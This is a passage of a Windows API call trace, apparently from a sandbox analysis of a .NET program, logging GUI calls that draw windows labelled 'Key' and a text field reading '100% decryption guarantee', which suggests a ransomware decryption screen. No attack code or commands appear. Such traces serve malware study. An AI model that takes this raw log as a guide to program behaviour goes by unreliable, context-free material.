uEnable=0x0) returned 1 [0161.801] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0161.801] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0161.801] GetClientRect (in: hWnd=0x10256, lpRect=0x19e898 | out: lpRect=0x19e898) returned 1 [0161.801] GetClientRect (in: hWnd=0x10256, lpRect=0x19e7f8 | out: lpRect=0x19e7f8) returned 1 [0161.801] GetWindowRect (in: hWnd=0x10256, lpRect=0x19e7f8 | out: lpRect=0x19e7f8) returned 1 [0161.801] GetParent (hWnd=0x10256) returned 0x10248 [0161.801] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10248, lpPoints=0x19e7f8, cPoints=0x2 | out: lpPoints=0x19e7f8) returned -16646646 [0161.801] SetMenu (hWnd=0x10256, hMenu=0x0) returned 0 [0161.801] DrawMenuBar (hWnd=0x10256) returned 1 [0161.802] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.802] GetWindowLongW (hWnd=0x10256, nIndex=-16) returned 1442906112 [0161.802] GetWindowLongW (hWnd=0x10256, nIndex=-16) returned 1442906112 [0161.802] GetWindowLongW (hWnd=0x10256, nIndex=-20) returned 327680 [0161.802] SetWindowPos (hWnd=0x10256, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0161.802] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0x46, wParam=0x0, lParam=0x19e80c) returned 0x0 [0161.802] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0x83, wParam=0x1, lParam=0x19e7e4) returned 0x0 [0161.803] GetWindowPlacement (in: hWnd=0x10256, lpwndpl=0x19e538 | out: lpwndpl=0x19e538) returned 1 [0161.803] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0x47, wParam=0x0, lParam=0x19e80c) returned 0x0 [0161.803] GetClientRect (in: hWnd=0x10256, lpRect=0x19e4e8 | out: lpRect=0x19e4e8) returned 1 [0161.803] GetWindowRect (in: hWnd=0x10256, lpRect=0x19e4e8 | out: lpRect=0x19e4e8) returned 1 [0161.803] GetParent (hWnd=0x10256) returned 0x10248 [0161.803] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10248, lpPoints=0x19e4e8, cPoints=0x2 | out: lpPoints=0x19e4e8) returned -16646646 [0161.803] GetParent (hWnd=0x10256) returned 0x10248 [0161.803] RedrawWindow (hWnd=0x10256, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0161.803] GetSystemMenu (hWnd=0x10256, bRevert=0) returned 0x0 [0161.803] GetWindowPlacement (in: hWnd=0x10256, lpwndpl=0x19e844 | out: lpwndpl=0x19e844) returned 1 [0161.803] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x0) returned 1 [0161.803] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x0) returned 1 [0161.803] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1 [0161.803] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0161.803] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0161.803] SetWindowPos (hWnd=0x10256, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0161.803] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0x46, wParam=0x0, lParam=0x19e88c) returned 0x0 [0161.804] GetWindowTextLengthW (hWnd=0x10248) returned 0 [0161.804] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0161.804] GetSystemMetrics (nIndex=42) returned 0 [0161.804] GetWindowTextW (in: hWnd=0x10248, lpString=0x19e7e4, nMaxCount=1 | out: lpString="") returned 0 [0161.804] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xd, wParam=0x1, lParam=0x19e7e4) returned 0x0 [0161.804] SetWindowPos (hWnd=0x10248, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0161.804] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0x46, wParam=0x0, lParam=0x19e8b4) returned 0x0 [0161.804] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0161.805] GetClientRect (in: hWnd=0x10248, lpRect=0x19e5bc | out: lpRect=0x19e5bc) returned 1 [0161.805] GetWindowTextLengthW (hWnd=0x10248) returned 0 [0161.805] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0161.805] GetSystemMetrics (nIndex=42) returned 0 [0161.805] GetWindowTextW (in: hWnd=0x10248, lpString=0x19e49c, nMaxCount=1 | out: lpString="") returned 0 [0161.805] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xd, wParam=0x1, lParam=0x19e49c) returned 0x0 [0161.805] GetClientRect (in: hWnd=0x10248, lpRect=0x19e4c4 | out: lpRect=0x19e4c4) returned 1 [0161.805] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0161.805] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0161.805] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0161.805] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0161.805] SaveDC (hdc=0x60100ce) returned 1 [0161.805] GetNearestColor (hdc=0x60100ce, color=0x323533) returned 0x323533 [0161.805] CreateSolidBrush (color=0x323533) returned 0x1410073a [0161.805] FillRect (hDC=0x60100ce, lprc=0x19e364, hbr=0x1410073a) returned 1 [0161.805] DeleteObject (ho=0x1410073a) returned 1 [0161.805] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0161.806] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0161.806] GetWindowPlacement (in: hWnd=0x10246, lpwndpl=0x19e5fc | out: lpwndpl=0x19e5fc) returned 1 [0161.806] GetClientRect (in: hWnd=0x10246, lpRect=0x19e5a8 | out: lpRect=0x19e5a8) returned 1 [0161.806] GetWindowTextLengthW (hWnd=0x10246) returned 3 [0161.806] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0161.806] GetSystemMetrics (nIndex=42) returned 0 [0161.806] GetWindowTextW (in: hWnd=0x10246, lpString=0x19e478, nMaxCount=4 | out: lpString="Key") returned 3 [0161.806] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xd, wParam=0x4, lParam=0x19e478) returned 0x3 [0161.806] GetClientRect (in: hWnd=0x10246, lpRect=0x19e4b0 | out: lpRect=0x19e4b0) returned 1 [0161.806] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0161.806] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0161.806] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0161.806] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0161.806] SaveDC (hdc=0x10105d6) returned 1 [0161.806] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0161.806] CreateSolidBrush (color=0x323533) returned 0x1510073a [0161.806] FillRect (hDC=0x10105d6, lprc=0x19e350, hbr=0x1510073a) returned 1 [0161.807] DeleteObject (ho=0x1510073a) returned 1 [0161.807] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0161.807] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0161.807] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0161.807] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0161.808] GetClientRect (in: hWnd=0x1024e, lpRect=0x19e5bc | out: lpRect=0x19e5bc) returned 1 [0161.808] GetWindowTextLengthW (hWnd=0x1024e) returned 0 [0161.808] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0161.808] GetSystemMetrics (nIndex=42) returned 0 [0161.808] GetWindowTextW (in: hWnd=0x1024e, lpString=0x19e49c, nMaxCount=1 | out: lpString="") returned 0 [0161.808] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0xd, wParam=0x1, lParam=0x19e49c) returned 0x0 [0161.808] GetClientRect (in: hWnd=0x1024e, lpRect=0x19e4c4 | out: lpRect=0x19e4c4) returned 1 [0161.808] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0161.808] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0161.808] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0161.808] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0161.808] SaveDC (hdc=0x60100ce) returned 1 [0161.808] GetNearestColor (hdc=0x60100ce, color=0xcc7a00) returned 0xcc7a00 [0161.808] CreateSolidBrush (color=0xcc7a00) returned 0x1610073a [0161.808] FillRect (hDC=0x60100ce, lprc=0x19e364, hbr=0x1610073a) returned 1 [0161.808] DeleteObject (ho=0x1610073a) returned 1 [0161.808] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0161.809] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0161.809] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0x14, wParam=0x10105d6, lParam=0x0) returned 0x1 [0161.809] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0161.809] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10254, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0161.809] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10254, Msg=0x14, wParam=0x10105d6, lParam=0x0) returned 0x1 [0161.809] GetStockObject (i=5) returned 0x900015 [0161.810] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0161.810] GetWindowPlacement (in: hWnd=0x10256, lpwndpl=0x19e5fc | out: lpwndpl=0x19e5fc) returned 1 [0161.810] GetClientRect (in: hWnd=0x10256, lpRect=0x19e5a8 | out: lpRect=0x19e5a8) returned 1 [0161.810] GetWindowTextLengthW (hWnd=0x10256) returned 3 [0161.810] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0161.810] GetSystemMetrics (nIndex=42) returned 0 [0161.810] GetWindowTextW (in: hWnd=0x10256, lpString=0x19e478, nMaxCount=4 | out: lpString="Key") returned 3 [0161.810] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0xd, wParam=0x4, lParam=0x19e478) returned 0x3 [0161.810] GetClientRect (in: hWnd=0x10256, lpRect=0x19e4b0 | out: lpRect=0x19e4b0) returned 1 [0161.810] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0161.810] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0161.810] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0161.810] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0161.810] SaveDC (hdc=0x60100ce) returned 1 [0161.810] GetNearestColor (hdc=0x60100ce, color=0x323533) returned 0x323533 [0161.811] CreateSolidBrush (color=0x323533) returned 0x1710073a [0161.811] FillRect (hDC=0x60100ce, lprc=0x19e350, hbr=0x1710073a) returned 1 [0161.811] DeleteObject (ho=0x1710073a) returned 1 [0161.811] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0161.811] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0x47, wParam=0x0, lParam=0x19e8b4) returned 0x0 [0161.811] GetClientRect (in: hWnd=0x10248, lpRect=0x19e5a4 | out: lpRect=0x19e5a4) returned 1 [0161.811] GetWindowRect (in: hWnd=0x10248, lpRect=0x19e5a4 | out: lpRect=0x19e5a4) returned 1 [0161.811] GetParent (hWnd=0x10248) returned 0x8004e [0161.811] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19e5a4, cPoints=0x2 | out: lpPoints=0x19e5a4) returned -16187697 [0161.811] GetParent (hWnd=0x10248) returned 0x8004e [0161.811] GetWindowTextLengthW (hWnd=0x10248) returned 0 [0161.811] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0161.811] GetSystemMetrics (nIndex=42) returned 0 [0161.811] GetWindowTextW (in: hWnd=0x10248, lpString=0x19e82c, nMaxCount=1 | out: lpString="") returned 0 [0161.811] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xd, wParam=0x1, lParam=0x19e82c) returned 0x0 [0161.811] GetWindowTextLengthW (hWnd=0x10246) returned 3 [0161.812] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0161.812] GetSystemMetrics (nIndex=42) returned 0 [0161.812] GetWindowTextW (in: hWnd=0x10246, lpString=0x19e798, nMaxCount=4 | out: lpString="Key") returned 3 [0161.812] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xd, wParam=0x4, lParam=0x19e798) returned 0x3 [0161.812] GetWindowTextLengthW (hWnd=0x1024e) returned 0 [0161.812] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0161.812] GetSystemMetrics (nIndex=42) returned 0 [0161.812] GetWindowTextW (in: hWnd=0x1024e, lpString=0x19e76c, nMaxCount=1 | out: lpString="") returned 0 [0161.812] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0xd, wParam=0x1, lParam=0x19e76c) returned 0x0 [0161.812] GetWindowTextLengthW (hWnd=0x10256) returned 3 [0161.812] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0161.812] GetSystemMetrics (nIndex=42) returned 0 [0161.812] GetWindowTextW (in: hWnd=0x10256, lpString=0x19e798, nMaxCount=4 | out: lpString="Key") returned 3 [0161.812] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0xd, wParam=0x4, lParam=0x19e798) returned 0x3 [0161.812] GetCurrentActCtx (in: lphActCtx=0x19e784 | out: lphActCtx=0x19e784*=0xef1264) returned 1 [0161.812] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.813] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0161.813] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="100% decryption guarantee", dwStyle=0x5600000d, X=161, Y=211, nWidth=308, nHeight=32, hWndParent=0x10256, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10258 [0161.814] SetWindowLongW (hWnd=0x10258, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0161.814] GetWindowLongW (hWnd=0x10258, nIndex=-4) returned 1876339648 [0161.816] SetWindowTextW (hWnd=0x10258, lpString="100% decryption guarantee") returned 1 [0161.816] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10258, Msg=0xc, wParam=0x0, lParam=0x303b45c) returned 0x1 [0161.816] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10258, Msg=0x5, wParam=0x0, lParam=0x200134) returned 0x0 [0161.817] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10258, Msg=0x3, wParam=0x0, lParam=0xd300a1) returned 0x0 [0161.817] GetClientRect (in: hWnd=0x10258, lpRect=0x19deac | out: lpRect=0x19deac) returned 1 [0161.817] GetWindowRect (in: hWnd=0x10258, lpRect=0x19deac | out: lpRect=0x19deac) returned 1 [0161.817] GetParent (hWnd=0x10258) returned 0x10256 [0161.817] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10256, lpPoints=0x19deac, cPoints=0x2 | out: lpPoints=0x19deac) returned -16646646 [0161.817] SendMessageW (hWnd=0x10258, Msg=0x2210, wParam=0x2580001, lParam=0x10258) returned 0x0 [0161.817] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10258, Msg=0x2210, wParam=0x2580001, lParam=0x10258) returned 0x0 [0161.817] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10258, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0161.817] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10258, Msg=0x46, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0161.817] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10258, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0161.818] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10258, Msg=0x47, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0161.818] GetClientRect (in: hWnd=0x10258, lpRect=0x19de7c | out: lpRect=0x19de7c) returned 1 [0161.818] GetWindowRect (in: hWnd=0x10258, lpRect=0x19de7c | out: lpRect=0x19de7c) returned 1 [0161.818] GetParent (hWnd=0x10258) returned 0x10256 [0161.818] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10256, lpPoints=0x19de7c, cPoints=0x2 | out: lpPoints=0x19de7c) returned -16646646 [0161.818] GetParent (hWnd=0x10258) returned 0x10256 [0161.818] GetParent (hWnd=0x10258) returned 0x10256 [0161.818] GetCurrentActCtx (in: lphActCtx=0x19e784 | out: lphActCtx=0x19e784*=0xef1264) returned 1 [0161.818] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.819] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0161.819] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=87, Y=84, nWidth=32, nHeight=36, hWndParent=0x10256, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1025a [0161.819] SetWindowLongW (hWnd=0x1025a, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0161.819] GetWindowLongW (hWnd=0x1025a, nIndex=-4) returned 1952448832 [0161.821] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025a, Msg=0x5, wParam=0x0, lParam=0x240020) returned 0x0 [0161.821] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025a, Msg=0x3, wParam=0x0, lParam=0x540057) returned 0x0 [0161.821] GetClientRect (in: hWnd=0x1025a, lpRect=0x19dee8 | out: lpRect=0x19dee8) returned 1 [0161.821] GetWindowRect (in: hWnd=0x1025a, lpRect=0x19dee8 | out: lpRect=0x19dee8) returned 1 [0161.821] GetParent (hWnd=0x1025a) returned 0x10256 [0161.821] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10256, lpPoints=0x19dee8, cPoints=0x2 | out: lpPoints=0x19dee8) returned -16646646 [0161.821] SendMessageW (hWnd=0x1025a, Msg=0x2210, wParam=0x25a0001, lParam=0x1025a) returned 0x0 [0161.821] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025a, Msg=0x2210, wParam=0x25a0001, lParam=0x1025a) returned 0x0 [0161.821] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0161.822] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025a, Msg=0x46, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0161.822] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0161.822] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025a, Msg=0x47, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0161.822] GetClientRect (in: hWnd=0x1025a, lpRect=0x19deb8 | out: lpRect=0x19deb8) returned 1 [0161.822] GetWindowRect (in: hWnd=0x1025a, lpRect=0x19deb8 | out: lpRect=0x19deb8) returned 1 [0161.822] GetParent (hWnd=0x1025a) returned 0x10256 [0161.822] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10256, lpPoints=0x19deb8, cPoints=0x2 | out: lpPoints=0x19deb8) returned -16646646 [0161.822] GetParent (hWnd=0x1025a) returned 0x10256 [0161.822] GetParent (hWnd=0x1025a) returned 0x10256 [0161.822] GetCurrentActCtx (in: lphActCtx=0x19e784 | out: lphActCtx=0x19e784*=0xef1264) returned 1 [0161.823] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.823] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0161.823] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=89, Y=124, nWidth=465, nHeight=1, hWndParent=0x10256, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1025c [0161.824] SetWindowLongW (hWnd=0x1025c, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0161.824] GetWindowLongW (hWnd=0x1025c, nIndex=-4) returned 1952448832 [0161.825] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0x5, wParam=0x0, lParam=0x101d1) returned 0x0 [0161.825] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0x3, wParam=0x0, lParam=0x7c0059) returned 0x0 [0161.825] GetClientRect (in: hWnd=0x1025c, lpRect=0x19dedc | out: lpRect=0x19dedc) returned 1 [0161.825] GetWindowRect (in: hWnd=0x1025c, lpRect=0x19dedc | out: lpRect=0x19dedc) returned 1 [0161.826] GetParent (hWnd=0x1025c) returned 0x10256 [0161.826] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10256, lpPoints=0x19dedc, cPoints=0x2 | out: lpPoints=0x19dedc) returned -16646646 [0161.826] SendMessageW (hWnd=0x1025c, Msg=0x2210, wParam=0x25c0001, lParam=0x1025c) returned 0x0 [0161.826] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0x2210, wParam=0x25c0001, lParam=0x1025c) returned 0x0 [0161.826] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0161.826] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0x46, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0161.827] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0161.827] GetClientRect (in: hWnd=0x1025c, lpRect=0x19dec4 | out: lpRect=0x19dec4) returned 1 [0161.827] GetWindowTextLengthW (hWnd=0x1025c) returned 0 [0161.827] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0161.827] GetSystemMetrics (nIndex=42) returned 0 [0161.827] GetWindowTextW (in: hWnd=0x1025c, lpString=0x19dda4, nMaxCount=1 | out: lpString="") returned 0 [0161.827] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0xd, wParam=0x1, lParam=0x19dda4) returned 0x0 [0161.827] GetClientRect (in: hWnd=0x1025c, lpRect=0x19ddcc | out: lpRect=0x19ddcc) returned 1 [0161.827] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0161.827] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0161.827] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0161.827] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0161.827] SaveDC (hdc=0x1b010670) returned 1 [0161.828] GetNearestColor (hdc=0x1b010670, color=0xcc7a00) returned 0xcc7a00 [0161.828] CreateSolidBrush (color=0xcc7a00) returned 0x1810073a [0161.828] FillRect (hDC=0x1b010670, lprc=0x19dc6c, hbr=0x1810073a) returned 1 [0161.828] DeleteObject (ho=0x1810073a) returned 1 [0161.828] RestoreDC (hdc=0x1b010670, nSavedDC=-1) returned 1 [0161.828] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0x47, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0161.828] GetClientRect (in: hWnd=0x1025c, lpRect=0x19deac | out: lpRect=0x19deac) returned 1 [0161.828] GetWindowRect (in: hWnd=0x1025c, lpRect=0x19deac | out: lpRect=0x19deac) returned 1 [0161.828] GetParent (hWnd=0x1025c) returned 0x10256 [0161.828] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10256, lpPoints=0x19deac, cPoints=0x2 | out: lpPoints=0x19deac) returned -16646646 [0161.828] GetParent (hWnd=0x1025c) returned 0x10256 [0161.828] GetParent (hWnd=0x1025c) returned 0x10256 [0161.828] GetCurrentActCtx (in: lphActCtx=0x19e760 | out: lphActCtx=0x19e760*=0xef1264) returned 1 [0161.829] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0161.889] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0161.889] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x560100c1, X=119, Y=102, nWidth=435, nHeight=18, hWndParent=0x10256, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1025e [0161.890] SetWindowLongW (hWnd=0x1025e, nIndex=-4, dwNewLong=1876218976) returned 88362534 [0161.890] GetWindowLongW (hWnd=0x1025e, nIndex=-4) returned 1876218976 [0161.894] GetDC (hWnd=0x0) returned 0x60100ce [0161.894] GdipCreateFromHDC (hdc=0x60100ce, graphics=0x19dc9c) returned 0x0 [0161.895] CoTaskMemAlloc (cb=0x5c) returned 0xeeac10 [0161.895] GdipGetLogFontW (font=0x691c7e8, graphics=0x69202b0, logfontW=0xeeac10) returned 0x0 [0161.895] CoTaskMemFree (pv=0xeeac10) [0161.895] CoTaskMemAlloc (cb=0x5c) returned 0xeeac10 [0161.895] CoTaskMemFree (pv=0xeeac10) [0161.895] CoTaskMemAlloc (cb=0x5c) returned 0xeeb1c0 [0161.895] CoTaskMemFree (pv=0xeeb1c0) [0161.895] GdipDeleteGraphics (graphics=0x69202b0) returned 0x0 [0161.895] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0161.895] CoTaskMemAlloc (cb=0x5c) returned 0xeeb088 [0161.895] CreateFontIndirectW (lplf=0xeeb088) returned 0x750a06e6 [0161.895] CoTaskMemFree (pv=0xeeb088) [0161.895] SendMessageW (hWnd=0x1025e, Msg=0x30, wParam=0x750a06e6, lParam=0x0) returned 0x1 [0161.895] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1025e, Msg=0x30, wParam=0x750a06e6, lParam=0x0) returned 0x1 [0161.896] SendMessageW (hWnd=0x1025e, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0161.896] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1025e, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0161.896] SendMessageW (hWnd=0x1025e, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0161.896] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1025e, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0161.896] SendMessageW (hWnd=0x1025e, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0161.896] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1025e, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0161.897] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1025e, Msg=0x5, wParam=0x0, lParam=0x1201b3) returned 0x0 [0161.897] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1025e, Msg=0x3, wParam=0x0, lParam=0x660077) returned 0x0 [0161.897] GetClientRect (in: hWnd=0x1025e, lpRect=0x19de98 | out: lpRect=0x19de98) returned 1 [0161.897] GetWindowRect (in: hWnd=0x1025e, lpRect=0x19de98 | out: lpRect=0x19de98) returned 1 [0161.897] GetParent (hWnd=0x1025e) returned 0x10256 [0161.897] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10256, lpPoints=0x19de98, cPoints=0x2 | out: lpPoints=0x19de98) returned -16646646 [0161.897] SendMessageW 